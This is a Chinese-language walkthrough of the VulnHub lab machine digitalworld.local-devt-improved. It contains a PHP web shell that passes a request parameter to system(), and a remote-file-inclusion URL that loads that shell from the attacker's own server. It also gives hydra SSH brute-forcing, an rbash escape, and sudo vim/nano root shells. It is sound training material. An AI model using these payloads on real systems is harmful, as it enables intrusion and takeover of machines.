前言

靶机：digitalworld.local-devt-improved，IP地址为192.168.10.10

攻击：kali，IP地址为192.168.10.6

kali采用VMware虚拟机，靶机选择使用VMware打开文件，都选择桥接网络

这里官方给的有两种方式，一是直接使用virtualbox加载，另一种是通过VMware直接加载，也给出了iso镜像文件。

文章中涉及的靶机，来源于vulnhub官网，想要下载，可自行访问官网下载，或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口，并保存于nmap-tcp

nmap -sT 192.168.10.10 --min-rate=1000  -p- -T4 -oA nmap-tcp

扫描常见的20个udp端口，不过这里的端口明显处于open的很少

nmap -sU 192.168.10.10 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口，进行处理，只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=22,113,139,445,8080

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.10 -p $ports -oA detail

对特定的端口号进行漏洞检测

nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息收集

还是从网站入手，因为使用enum4linux枚举测试，并未有信息

访问8080端口的默认界面，提到一个界面

拼接地址后，发现一些目录

访问后，以几个重点截图，注意，要查看页面源代码才能发现的

给出一个目录./developmentsecretpage

给出一个文件test.pacp，格式来看像是数据流量包

访问./developmentsecretpage

给出一个patrick.php文件，点击访问，确实可解析php文件，并且有一个sitemap.php文件及链接

访问sitemap.php，给出两个php文件，securitynotice.php和directortestpagev1.php

访问securitynotice.php，给出了设置密码的情况，可能以P@ssw0rd加数字为设置

访问directortestpagev1.php，给出一个test.html的界面

这个test.html与前面给出的是一样的，那么访问前面test.pcap这个文件，该文件直接下载到本地，然后使用科来或者wireshark工具进行打开，即可看到产生的网络数据包

首先使用科来查看，直接用科来打开数据包即可，可以看到在http请求时，请求了一个之前并未有的文件

/qinyi/motivation.html

再使用wireshark打开观察一下

ok，首先观察大概两个协议为主http和smb，那么先访问之前并未有的一个链接/qinyi/motivation.html，啧，没有东西

继续分析smb协议的数据，但是并未发现敏感数据，只有一个路径/DEVELOPMENT/IPC$和版本等信息，但是不知道用户名等

漏洞寻找

继续从网站下手，之前还有一个链接未点击测试http://192.168.10.10:8080/developmentsecretpage/directortestpagev1.php?logout=1

点击后，发现一个登录框，啧，这奇怪，访问时直接登录，这里难道出问题？

虽然前面给出了密码的可能性策略，但是这里先随便在登录框输入，发现还是成功，只是多了一些报错

给出了一个slogin_lib.inc.php文件，不知道这个文件什么作用，先搜索一下，看是否是官方的函数

好家伙，一搜就全是漏洞，甚至编号都出来了

这一段是远程文件包含

这一段是敏感文件的位置

漏洞利用

那么尝试第一个远程测试

创建一个php脚本测试，然后在kali开启一个http服务

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

然后构造链接

http://192.168.10.10:8080/developmentsecretpage/slogin_lib.inc.php?slogin_path=http://192.168.10.6:8888/shell.php

不过这里当执行后，并未有远程代码执行的痕迹，也就是kali这边的http服务并没有收到请求，所以，这个远程代码执行的漏洞，可能不存在

那么测试第二种，查看敏感文件

http://192.168.10.10:8080/developmentsecretpage/slog_users.txt

这里可以看到，应该是md5加密，尝试使用网站解密吧，因为快，建议使用somd5.com，之前的cmd5.com这个网站，唉，收费的有点多

用户	MD5	密码
intern	4a8a2b374f463b7aedbb44a066363b81	12345678900987654321
patrick	87e6d56ce79af90dbe07d387d3d0579e	P@ssw0rd25
qiu	ee64497098d0926d198f54f6d5431f98	qiu

解密出三个，网站方面登录明显是假象，那么测试ssh登录

将三个用户名存储在user文件，三个密码存储在pass文件，使用hydra进行爆破

hydra -L user -P pass 192.168.10.10 ssh

rbash逃逸

使用ssh登录intern，不过给出的是rbash

尝试逃逸，之前在某个靶场中，有echo逃逸的测试，当然需要与python搭配，是lshell的问题

echo os.system('/bin/bash')

靶机内信息收集

查看当前目录下的文件

这里提到了patrick，以及密码策略，应该还没有更改

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

发现有sudo和su，不过sudo -l并未对当前用户可用

那么查看/home下有哪些用户

到patrick用户下，发现有password.txt文件

查看这个文件，没有信息

提权

结合目前信息来看，su可能有用，尝试以之前的用户patrick和密码进行切换，确实可行

使用sudo -l测试

两种方式，访问网站https://gtfobins.github.io/查看用法

#vim
sudo vim -c ':!/bin/sh'#nano
sudo nano
^R^X
reset; sh 1>&0 2>&0

查看最终flag

总结

该靶机有以下值得思考：

1. 对于网站，可能存在注释设计者忘记删除，往往会暴露敏感信息
2. 对于网站的链接，功能等，都需要进行测试
3. 对于网站的漏洞，不要只盯着CMS，一些语言函数也可能是有漏洞的
4. 对于ssh无法登录时，不代表su无法切换，密码都是一样的，但是ssh可能做了限制
5. 对于提权，这里采用sudo提权的方式